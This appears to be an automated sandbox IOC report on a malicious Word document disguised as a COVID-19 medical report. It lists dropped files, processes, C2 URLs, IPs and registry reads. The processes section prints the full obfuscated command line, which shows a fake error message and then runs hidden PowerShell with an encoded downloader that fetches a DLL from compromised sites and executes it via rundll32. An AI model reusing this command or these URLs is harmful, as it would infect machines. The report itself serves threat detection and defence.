IOCReport

loading gif

Files

File Path
Type
Category
Malicious
XP-9743 Medical report COVID-19.doc
Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Subject: Licensed Soft Chips TCP capacity Future Savings Account redundant open-source Consultant Cambridgeshire digital Synergistic, Author: Ambre Vidal, Template: Normal.dotm, Last Saved By: Ethan Vasseur, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Jan 12 17:56:00 2021, Last Saved Time/Date: Tue Jan 12 17:57:00 2021, Number of Pages: 1, Number of Words: 2466, Number of Characters: 14061, Security: 8
initial sample
malicious
C:\Users\user\Kjl48kr\Nqm9ty9\S93E.dll
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
dropped
malicious
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{4AB68257-B28F-4AE5-86AD-026C320EA73C}.tmp
data
dropped
clean
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\XP-9743 Medical report COVID-19.LNK
MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:12 2020, mtime=Wed Aug 26 14:08:12 2020, atime=Wed Jan 13 03:30:33 2021, length=161792, window=hide
dropped
clean
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat
ASCII text, with CRLF line terminators
dropped
clean
C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm
data
dropped
clean
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JFVIB84821J1PYPBOEY5.temp
data
dropped
clean
C:\Users\user\Desktop\~$-9743 Medical report COVID-19.doc
data
dropped
clean

Processes

Path
Cmdline
Malicious
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
malicious
C:\Windows\System32\cmd.exe
cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IAAgACQAOABaAEcAIAAgAD0AIABbAHQAWQBwAGUAXQAoACIAewAyAH0AewA1AH0AewAwAH0AewAxAH0AewAzAH0AewA0AH0AIgAtAGYAIAAnAFQARQAnACwAJwBtAC4AJwAsACcAUwB5ACcALAAnAGkAbwAnACwAJwAuAEQASQByAEUAQwB0AE8AUgBZACcALAAnAFMAJwApADsAIAAgACAAJABEADAAQwBxACAAPQAgAFsAVABZAHAAZQBdACgAIgB7ADIAfQB7ADEAfQB7ADAAfQB7ADMAfQB7ADQAfQAiACAALQBmACcAcwBFAHIAdgBJAEMARQBQAG8AJwAsACcAVABlAG0ALgBuAEUAdAAuACcALAAnAFMAWQBzACcALAAnAGkATgB0AG0AYQAnACwAJwBuAEEARwBFAFIAJwApACAAOwAgACQASgBiAHoAMwB5AGEAYQA9ACQARAA1ADMARQAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAUgA3ADYAUAA7ACQARwA3ADMATwA9ACgAJwBGACcAKwAoACcAMAAnACsAJwA0AFYAJwApACkAOwAgACAAKAAgACAARwBlAHQALQBWAGEAcgBJAEEAQgBsAGUAIAAoACIAOABaACIAKwAiAGcAIgApACAAIAAtAHYAQQBsAFUAZQBPAE4AIAApADoAOgAiAGMAcgBFAGAAQQBgAFQAZQBEAGkAUgBgAGUAQwB0AGAAbwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB0AEsAJwArACgAJwBMACcAKwAnAEsAJwArACcAagBsADQAOABrAHIAJwApACsAJwB0ACcAKwAoACcASwBMAE4AcQAnACsAJwBtADkAJwApACsAKAAnAHQAJwArACcAeQA5ACcAKQArACcAdAAnACsAJwBLAEwAJwApAC0AcgBlAHAAbABBAGMAZQAgACAAKAAnAHQASwAnACsAJwBMACcAKQAsAFsAQwBIAEEAcgBdADkAMgApACkAOwAkAFAANAAzAFcAPQAoACgAJwBVAF8AJwArACcAMgAnACkAKwAnAFAAJwApADsAIAAgACgAIAAgAGMAaABJAEwAZABpAFQAZQBNACAAVgBhAHIASQBBAEIAbABFADoAZAAwAGMAcQAgACAAKQAuAHYAYQBMAHUAZQA6ADoAIgBzAGAAZQBjAFUAUgBJAHQAYABZAHAAUgBPAHQAYABPAEMAbwBMACIAIAA9ACAAKAAoACcAVABsACcAKwAnAHMAMQAnACkAKwAnADIAJwApADsAJABTADgAMgBHAD0AKAAoACcARwA5ACcAKwAnADAAJwApACsAJwBNACcAKQA7ACQARAA2AHQAcgB3ADAAMgAgAD0AIAAoACgAJwBTADkAJwArACcAMwAnACkAKwAnAEUAJwApADsAJABYADYAXwBNAD0AKAAnAEQAMwAnACsAJwAwAFAAJwApADsAJABHADYAYQBqAHYAOABkAD0AJABIAE8ATQBFACsAKAAoACcAewAwACcAKwAnAH0ASwBqAGwANAA4AGsAcgAnACsAJwB7ADAAfQBOAHEAJwArACgAJwBtADkAdAB5ACcAKwAnADkAJwApACsAJwB7ADAAfQAnACkALQBmACAAIABbAEMASABhAHIAXQA5ADIAKQArACQARAA2AHQAcgB3ADAAMgArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAFYAMwA1AFUAPQAoACgAJwBTADUAJwArACcAXwAnACkAKwAnAFUAJwApADsAJABKAGkAdABvAGEAMgBlAD0AKAAoACcAdwBdAHgAbQBbAHYAcwAnACsAJwA6AC8ALwByAGUAbQBlAGQAJwArACcAaQBpACcAKwAnAHMALgAnACsAJwBjACcAKwAnAG8AJwArACcAbQAvAHQALwBnAG0AMgBYAC8AQAAnACsAJwB3ACcAKQArACgAJwBdAHgAJwArACcAbQBbAHYAOgAnACsAJwAvAC8AYQB2AGEAJwApACsAKAAnAGQAbgAnACsAJwBhAG4AJwApACsAKAAnAHMAYQAnACsAJwBoACcAKQArACcAaQBuACcAKwAoACcALgBjACcAKwAnAG8AbQAnACkAKwAoACcALwAnACsAJwB3AHAAJwArACcALQBpAG4AYwAnACkAKwAnAGwAdQAnACsAKAAnAGQAZQAnACsAJwBzAC8AdwAvAEAAJwApACsAJwB3ACcAKwAnAF0AJwArACgAJwB4ACcAKwAnAG0AWwAnACkAKwAoACcAdgA6AC8ALwAnACsAJwBzAG8AbAAnACsAJwBpAGMAbwAnACkAKwAnAG4AJwArACgAJwAuAHUAcwAnACsAJwAvAGEAbABsAGEAJwArACcAbQAnACsAJwAtAGMAeQAnACkAKwAoACcAYwBsAGUAJwArACcALQAxAGMANAAnACkAKwAoACcAZwBuACcAKwAnAC8AZgA1ACcAKQArACcAegAvACcAKwAoACcAQAAnACsAJwB3AF0AJwApACsAKAAnAHgAJwArACcAbQBbACcAKwAnAHYAOgAvACcAKwAnAC8AdwB3AHcALgByAGkAcABhAHIAYQB6AGkAJwArACcAbwBuACcAKwAnAGkAJwArACcALQAnACkAKwAoACcAcgBhAGQAaQAnACsAJwBvACcAKQArACcAdAB2ACcAKwAnAC4AYwAnACsAKAAnAG8AbQAnACsAJwAvAHMAbwAnACkAKwAnAGYAdAAnACsAKAAnAGEAYwAnACsAJwB1ACcAKQArACgAJwBsACcAKwAnAG8AdQBzAC8AJwArACcARABaAHoALwAnACkAKwAnAEAAJwArACgAJwB3ACcAKwAnAF0AeABtAFsAJwApACsAKAAnAHYAOgAvACcAKwAnAC8AJwApACsAKAAnAHcAdwAnACsAJwB3ACcAKQArACgAJwAuAGEAZwByACcAKwAnAGkAJwArACcAYwBhAG0AcAAnACsAJwBlAGcAJwApACsAKAAnAGcAaQAnACsAJwBvACcAKwAnAGMAbwByACcAKQArACgAJwB0AGUAJwArACcAYwBvAG0AbwAnACkAKwAnAHQAdAAnACsAJwBvAC4AJwArACgAJwBpAHQAJwArACcALwAnACkAKwAoACcAdwBwACcAKwAnAC0AJwApACsAKAAnAGEAJwArACcAZABtACcAKQArACgAJwBpACcAKwAnAG4AJwArACcALwBzADcAJwArACcAcAAxAC8AQAB3AF0AJwArACcAeABtAFsAJwApACsAJwB2ACcAKwAnAHMAOgAnACsAJwAvAC8AJwArACcAdwB3ACcAKwAnAHcAJwArACgAJwAuAHMAdABhAHIAbAAnACsAJwBpACcAKwAnAG4AJwApACsAKAAnAGcAdABlAGMAaABzAC4AYwBvAG0AJwArACcALwAnACsAJwBHAE4ATQAnACsAJwAvAEAAdwAnACsAJwBdAHgAbQBbAHYAJwApACsAKAAnADoAJwArACcALwAnACsAJwAvAGgAZQBsAGwAYQBzACcAKQArACgAJwAtAGQAJwArACcAYQByAG0AcwAnACsAJwB0AGEAZAAnACsAJwB0AC4AZAAnACsAJwBlACcAKQArACcALwBjACcAKwAoACcAZwBpAC0AYgBpAG4AJwArACcALwBaACcAKQArACcAUwAnACsAKAAnAG8AJwArACcAbwAvACcAKQApAC4AIgByAEUAcABsAEEAYABjAGUAIgAoACgAKAAnAHcAXQB4AG0AJwArACcAWwAnACkAKwAnAHYAJwApACwAKABbAGEAcgByAGEAeQBdACgAKAAnAGQAcwAnACsAKAAnAGUAJwArACcAdwBmACcAKQApACwAKAAnAHcAZQAnACsAKAAnAHYAdwAnACsAJwBlACcAKQApACkALAAoACcAYQBlACcAKwAnAGYAZgAnACkALAAoACcAaAB0ACcAKwAnAHQAcAAnACkAKQBbADIAXQApAC4AIgBTAGAAUABMAEkAdAAiACgAJABPADUAXwBZACAAKwAgACQASgBiAHoAMwB5AGEAYQAgACsAIAAkAEwAXwAwAEMAKQA7ACQAVgAxADEAVgA9ACgAJwBIACcAKwAoACcAXwA4ACcAKwAnAE0AJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAE0AbAA5AHgAdwA3AG0AIABpAG4AIAAkAEoAaQB0AG8AYQAyAGUAKQB7AHQAcgB5AHsAKAAuACgAJwBOAGUAdwAtACcAKwAnAE8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAHMAWQBTAHQAZQBtAC4ATgBFAFQALgB3AEUAQgBDAEwASQBFAG4AVAApAC4AIgBkAG8AVwBgAE4ATABPAGEARABGAEkAYABMAEUAIgAoACQATQBsADkAeAB3ADcAbQAsACAAJABHADYAYQBqAHYAOABkACkAOwAkAE0AMAA2AEsAPQAoACgAJwBBACcAKwAnADUAMQAnACkAKwAnAEIAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAEcANgBhAGoAdgA4AGQAKQAuACIAbABgAEUATgBHAHQASAAiACAALQBnAGUAIAAzADAANAA0ADcAKQAgAHsAJgAoACcAcgAnACsAJwB1AG4AJwArACcAZABsAGwAMwAyACcAKQAgACQARwA2AGEAagB2ADgAZAAsACgAKAAnAFMAaAAnACsAJwBvACcAKQArACgAJwB3ACcAKwAnAEQAaQAnACsAJwBhAGwAbwAnACkAKwAnAGcAQQAnACkALgAiAHQAYABvAFMAVAByAGAASQBuAEcAIgAoACkAOwAkAFcANQAyAE0APQAoACgAJwBPADEAJwArACcAOQAnACkAKwAnAFIAJwApADsAYgByAGUAYQBrADsAJABLADgAMQBBAD0AKAAnAEUAJwArACgAJwA3ACcAKwAnADQARAAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUwA1ADIATgA9ACgAJwBZADcAJwArACcAMgBTACcAKQA=
malicious
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -enc IAAgACQAOABaAEcAIAAgAD0AIABbAHQAWQBwAGUAXQAoACIAewAyAH0AewA1AH0AewAwAH0AewAxAH0AewAzAH0AewA0AH0AIgAtAGYAIAAnAFQARQAnACwAJwBtAC4AJwAsACcAUwB5ACcALAAnAGkAbwAnACwAJwAuAEQASQByAEUAQwB0AE8AUgBZACcALAAnAFMAJwApADsAIAAgACAAJABEADAAQwBxACAAPQAgAFsAVABZAHAAZQBdACgAIgB7ADIAfQB7ADEAfQB7ADAAfQB7ADMAfQB7ADQAfQAiACAALQBmACcAcwBFAHIAdgBJAEMARQBQAG8AJwAsACcAVABlAG0ALgBuAEUAdAAuACcALAAnAFMAWQBzACcALAAnAGkATgB0AG0AYQAnACwAJwBuAEEARwBFAFIAJwApACAAOwAgACQASgBiAHoAMwB5AGEAYQA9ACQARAA1ADMARQAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAUgA3ADYAUAA7ACQARwA3ADMATwA9ACgAJwBGACcAKwAoACcAMAAnACsAJwA0AFYAJwApACkAOwAgACAAKAAgACAARwBlAHQALQBWAGEAcgBJAEEAQgBsAGUAIAAoACIAOABaACIAKwAiAGcAIgApACAAIAAtAHYAQQBsAFUAZQBPAE4AIAApADoAOgAiAGMAcgBFAGAAQQBgAFQAZQBEAGkAUgBgAGUAQwB0AGAAbwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB0AEsAJwArACgAJwBMACcAKwAnAEsAJwArACcAagBsADQAOABrAHIAJwApACsAJwB0ACcAKwAoACcASwBMAE4AcQAnACsAJwBtADkAJwApACsAKAAnAHQAJwArACcAeQA5ACcAKQArACcAdAAnACsAJwBLAEwAJwApAC0AcgBlAHAAbABBAGMAZQAgACAAKAAnAHQASwAnACsAJwBMACcAKQAsAFsAQwBIAEEAcgBdADkAMgApACkAOwAkAFAANAAzAFcAPQAoACgAJwBVAF8AJwArACcAMgAnACkAKwAnAFAAJwApADsAIAAgACgAIAAgAGMAaABJAEwAZABpAFQAZQBNACAAVgBhAHIASQBBAEIAbABFADoAZAAwAGMAcQAgACAAKQAuAHYAYQBMAHUAZQA6ADoAIgBzAGAAZQBjAFUAUgBJAHQAYABZAHAAUgBPAHQAYABPAEMAbwBMACIAIAA9ACAAKAAoACcAVABsACcAKwAnAHMAMQAnACkAKwAnADIAJwApADsAJABTADgAMgBHAD0AKAAoACcARwA5ACcAKwAnADAAJwApACsAJwBNACcAKQA7ACQARAA2AHQAcgB3ADAAMgAgAD0AIAAoACgAJwBTADkAJwArACcAMwAnACkAKwAnAEUAJwApADsAJABYADYAXwBNAD0AKAAnAEQAMwAnACsAJwAwAFAAJwApADsAJABHADYAYQBqAHYAOABkAD0AJABIAE8ATQBFACsAKAAoACcAewAwACcAKwAnAH0ASwBqAGwANAA4AGsAcgAnACsAJwB7ADAAfQBOAHEAJwArACgAJwBtADkAdAB5ACcAKwAnADkAJwApACsAJwB7ADAAfQAnACkALQBmACAAIABbAEMASABhAHIAXQA5ADIAKQArACQARAA2AHQAcgB3ADAAMgArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAFYAMwA1AFUAPQAoACgAJwBTADUAJwArACcAXwAnACkAKwAnAFUAJwApADsAJABKAGkAdABvAGEAMgBlAD0AKAAoACcAdwBdAHgAbQBbAHYAcwAnACsAJwA6AC8ALwByAGUAbQBlAGQAJwArACcAaQBpACcAKwAnAHMALgAnACsAJwBjACcAKwAnAG8AJwArACcAbQAvAHQALwBnAG0AMgBYAC8AQAAnACsAJwB3ACcAKQArACgAJwBdAHgAJwArACcAbQBbAHYAOgAnACsAJwAvAC8AYQB2AGEAJwApACsAKAAnAGQAbgAnACsAJwBhAG4AJwApACsAKAAnAHMAYQAnACsAJwBoACcAKQArACcAaQBuACcAKwAoACcALgBjACcAKwAnAG8AbQAnACkAKwAoACcALwAnACsAJwB3AHAAJwArACcALQBpAG4AYwAnACkAKwAnAGwAdQAnACsAKAAnAGQAZQAnACsAJwBzAC8AdwAvAEAAJwApACsAJwB3ACcAKwAnAF0AJwArACgAJwB4ACcAKwAnAG0AWwAnACkAKwAoACcAdgA6AC8ALwAnACsAJwBzAG8AbAAnACsAJwBpAGMAbwAnACkAKwAnAG4AJwArACgAJwAuAHUAcwAnACsAJwAvAGEAbABsAGEAJwArACcAbQAnACsAJwAtAGMAeQAnACkAKwAoACcAYwBsAGUAJwArACcALQAxAGMANAAnACkAKwAoACcAZwBuACcAKwAnAC8AZgA1ACcAKQArACcAegAvACcAKwAoACcAQAAnACsAJwB3AF0AJwApACsAKAAnAHgAJwArACcAbQBbACcAKwAnAHYAOgAvACcAKwAnAC8AdwB3AHcALgByAGkAcABhAHIAYQB6AGkAJwArACcAbwBuACcAKwAnAGkAJwArACcALQAnACkAKwAoACcAcgBhAGQAaQAnACsAJwBvACcAKQArACcAdAB2ACcAKwAnAC4AYwAnACsAKAAnAG8AbQAnACsAJwAvAHMAbwAnACkAKwAnAGYAdAAnACsAKAAnAGEAYwAnACsAJwB1ACcAKQArACgAJwBsACcAKwAnAG8AdQBzAC8AJwArACcARABaAHoALwAnACkAKwAnAEAAJwArACgAJwB3ACcAKwAnAF0AeABtAFsAJwApACsAKAAnAHYAOgAvACcAKwAnAC8AJwApACsAKAAnAHcAdwAnACsAJwB3ACcAKQArACgAJwAuAGEAZwByACcAKwAnAGkAJwArACcAYwBhAG0AcAAnACsAJwBlAGcAJwApACsAKAAnAGcAaQAnACsAJwBvACcAKwAnAGMAbwByACcAKQArACgAJwB0AGUAJwArACcAYwBvAG0AbwAnACkAKwAnAHQAdAAnACsAJwBvAC4AJwArACgAJwBpAHQAJwArACcALwAnACkAKwAoACcAdwBwACcAKwAnAC0AJwApACsAKAAnAGEAJwArACcAZABtACcAKQArACgAJwBpACcAKwAnAG4AJwArACcALwBzADcAJwArACcAcAAxAC8AQAB3AF0AJwArACcAeABtAFsAJwApACsAJwB2ACcAKwAnAHMAOgAnACsAJwAvAC8AJwArACcAdwB3ACcAKwAnAHcAJwArACgAJwAuAHMAdABhAHIAbAAnACsAJwBpACcAKwAnAG4AJwApACsAKAAnAGcAdABlAGMAaABzAC4AYwBvAG0AJwArACcALwAnACsAJwBHAE4ATQAnACsAJwAvAEAAdwAnACsAJwBdAHgAbQBbAHYAJwApACsAKAAnADoAJwArACcALwAnACsAJwAvAGgAZQBsAGwAYQBzACcAKQArACgAJwAtAGQAJwArACcAYQByAG0AcwAnACsAJwB0AGEAZAAnACsAJwB0AC4AZAAnACsAJwBlACcAKQArACcALwBjACcAKwAoACcAZwBpAC0AYgBpAG4AJwArACcALwBaACcAKQArACcAUwAnACsAKAAnAG8AJwArACcAbwAvACcAKQApAC4AIgByAEUAcABsAEEAYABjAGUAIgAoACgAKAAnAHcAXQB4AG0AJwArACcAWwAnACkAKwAnAHYAJwApACwAKABbAGEAcgByAGEAeQBdACgAKAAnAGQAcwAnACsAKAAnAGUAJwArACcAdwBmACcAKQApACwAKAAnAHcAZQAnACsAKAAnAHYAdwAnACsAJwBlACcAKQApACkALAAoACcAYQBlACcAKwAnAGYAZgAnACkALAAoACcAaAB0ACcAKwAnAHQAcAAnACkAKQBbADIAXQApAC4AIgBTAGAAUABMAEkAdAAiACgAJABPADUAXwBZACAAKwAgACQASgBiAHoAMwB5AGEAYQAgACsAIAAkAEwAXwAwAEMAKQA7ACQAVgAxADEAVgA9ACgAJwBIACcAKwAoACcAXwA4ACcAKwAnAE0AJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAE0AbAA5AHgAdwA3AG0AIABpAG4AIAAkAEoAaQB0AG8AYQAyAGUAKQB7AHQAcgB5AHsAKAAuACgAJwBOAGUAdwAtACcAKwAnAE8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAHMAWQBTAHQAZQBtAC4ATgBFAFQALgB3AEUAQgBDAEwASQBFAG4AVAApAC4AIgBkAG8AVwBgAE4ATABPAGEARABGAEkAYABMAEUAIgAoACQATQBsADkAeAB3ADcAbQAsACAAJABHADYAYQBqAHYAOABkACkAOwAkAE0AMAA2AEsAPQAoACgAJwBBACcAKwAnADUAMQAnACkAKwAnAEIAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAEcANgBhAGoAdgA4AGQAKQAuACIAbABgAEUATgBHAHQASAAiACAALQBnAGUAIAAzADAANAA0ADcAKQAgAHsAJgAoACcAcgAnACsAJwB1AG4AJwArACcAZABsAGwAMwAyACcAKQAgACQARwA2AGEAagB2ADgAZAAsACgAKAAnAFMAaAAnACsAJwBvACcAKQArACgAJwB3ACcAKwAnAEQAaQAnACsAJwBhAGwAbwAnACkAKwAnAGcAQQAnACkALgAiAHQAYABvAFMAVAByAGAASQBuAEcAIgAoACkAOwAkAFcANQAyAE0APQAoACgAJwBPADEAJwArACcAOQAnACkAKwAnAFIAJwApADsAYgByAGUAYQBrADsAJABLADgAMQBBAD0AKAAnAEUAJwArACgAJwA3ACcAKwAnADQARAAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUwA1ADIATgA9ACgAJwBZADcAJwArACcAMgBTACcAKQA=
malicious
C:\Windows\SysWOW64\rundll32.exe
'C:\Windows\system32\rundll32.exe' C:\Users\user\Kjl48kr\Nqm9ty9\S93E.dll ShowDialogA
malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Giyrh\pugu.vsm',ShowDialogA
malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ivtnyogqxjx\ctmhexvkrv.xdn',ShowDialogA
malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Pvbzatsazzovzkv\hcdstjffkhswof.tvm',ShowDialogA
malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ipdtn\rmgx.ktd',ShowDialogA
malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Wxiibgduobebnp\hfpumnmgeezpt.jsh',ShowDialogA
malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ndsevdxfleyh\dktakeexwon.agz',ShowDialogA
malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Fmtjatw\czosow.gcn',ShowDialogA
malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Udumexhq\tqqkqid.sqp',ShowDialogA
malicious
C:\Windows\System32\msg.exe
msg user /v Word experienced an error trying to open the file.
clean
C:\Windows\System32\rundll32.exe
'C:\Windows\system32\rundll32.exe' C:\Users\user\Kjl48kr\Nqm9ty9\S93E.dll ShowDialogA
clean
There are 4 hidden processes, click here to show them.

URLs

Name
IP
Malicious
http://avadnansahin.com
unknown
malicious
http://hellas-darmstadt.de/cgi-bin/ZSoo/
unknown
malicious
http://solicon.us/allam-cycle-1c4gn/f5z/
unknown
malicious
http://avadnansahin.com/wp-includes/w/
109.232.216.177
malicious
http://www.agricampeggiocortecomotto.it/wp-admin/s7p1/
unknown
malicious
https://remediis.com
unknown
malicious
http://www.riparazioni-radiotv.com/softaculous/DZz/
unknown
malicious
https://www.starlingtechs.com/GNM/
unknown
malicious
http://69.49.88.46/fumwyj93myhz6vi/3lptbz7/e6hqkyw77ui/dujy6/2toe6aqef56s/cxrwnsqx/
69.49.88.46
malicious
https://remediis.com/t/gm2X/
unknown
malicious
http://www.windows.com/pctv.
unknown
clean
http://investor.msn.com
unknown
clean
http://www.msnbc.com/news/ticker.txt
unknown
clean
http://ocsp.sectigo.com0
unknown
clean
https://remediis.comp
unknown
clean
http://www.litespeedtech.com
unknown
clean
http://windowsmedia.com/redir/services.asp?WMPFriendly=true
unknown
clean
http://www.hotmail.com/oe
unknown
clean
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
unknown
clean
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
unknown
clean
http://www.icra.org/vocabulary/.
unknown
clean
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
unknown
clean
http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
unknown
clean
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
unknown
clean
http://investor.msn.com/
unknown
clean
https://sectigo.com/CPS0D
unknown
clean
http://www.piriform.com/ccleaner
unknown
clean
http://www.%s.comPA
unknown
clean
There are 18 hidden URLs, click here to show them.

Domains

Name
IP
Malicious
remediis.com
5.2.81.171
malicious
avadnansahin.com
109.232.216.177
malicious

IPs

IP
Domain
Country
Active
Malicious
69.49.88.46
unknown
United States
unknown
malicious
109.232.216.177
unknown
Turkey
unknown
malicious
71.72.196.159
unknown
United States
unknown
malicious
5.2.81.171
unknown
Turkey
unknown
malicious

Registry

Path
Value
Malicious
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
6s7
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MTTT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
t7
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
6v7
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
VBAFiles
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ReviewToken
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
EC320
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Arial Unicode MS
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Batang
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@BatangChe
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@DFKai-SB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Dotum
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@DotumChe
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@FangSong
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Gulim
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@GulimChe
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Gungsuh
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@GungsuhChe
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@KaiTi
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Malgun Gothic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Meiryo
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Meiryo UI
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Microsoft JhengHei
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Microsoft YaHei
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU_HKSCS
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU_HKSCS-ExtB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU-ExtB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS Gothic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS Mincho
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS PGothic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS PMincho
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS UI Gothic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@NSimSun
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@PMingLiU
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@PMingLiU-ExtB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@SimHei
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@SimSun
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@SimSun-ExtB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Agency FB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Aharoni
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Algerian
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Andalus
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Angsana New
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
AngsanaUPC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Aparajita
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arabic Typesetting
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Black
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Narrow
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Rounded MT Bold
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Unicode MS
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Baskerville Old Face
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Batang
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
BatangChe
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bauhaus 93
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bell MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Berlin Sans FB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Berlin Sans FB Demi
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bernard MT Condensed
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Blackadder ITC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT Black
clean
